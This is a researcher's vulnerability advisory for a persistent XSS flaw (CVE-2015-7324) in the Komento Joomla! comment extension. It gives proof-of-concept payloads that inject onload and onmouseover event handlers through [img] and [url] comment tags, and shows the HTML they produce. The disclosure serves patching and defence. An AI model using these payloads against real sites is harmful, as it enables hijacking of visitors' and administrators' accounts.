David Sopas – Web Security Researcher

September 30, 2015 at 11:50 am

Komento Joomla! component Persistent XSS

Komento Joomla! component Persistent XSS

CVE Reference: CVE-2015-7324

Komento is a Joomla! comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.

@http://stackideas.com/komento

I found out that was possible to launch a Persistent XSS attack when adding a new comment using the WYSIWYG website and image buttons.
This issue was critical in both environments – frontend and backoffice.

In frontend when a user visited a page where the comment has a XSS attack it would be automatically affected.
In the other side – the backoffice – when the admin checked the new comment it would be vulnerable to this attack and could get his account hijacked or something even more dangerous.

What I did was to pass along the XSS vector in the [img] code and use the Javascript onload to run the exploit when image loads.

Proof-of-concept using [img]:

[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg” onload=”prompt(1)[/img]

Proof-of-concept using [url]:

[url=”https://www.davidsopas.com” onmouseover=”prompt(1)”]Your text to link[/url]

komento_onmouseover

In the [img] case this will reflect the following HTML (on the frontend):

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;" onload="var elem=this;if (this==window) elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>

komento_frontend

And…

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;">

In the administrator area.

This Joomla! component has lot’s of Google results and can affect a large number of innocent people. A victim just by visiting the page with a malicious comment will be affected.

All versions prior to 2.0.5 are affected.
Vendor already patched both security issues in the new version 2.0.5 – http://stackideas.com/changelog/komento

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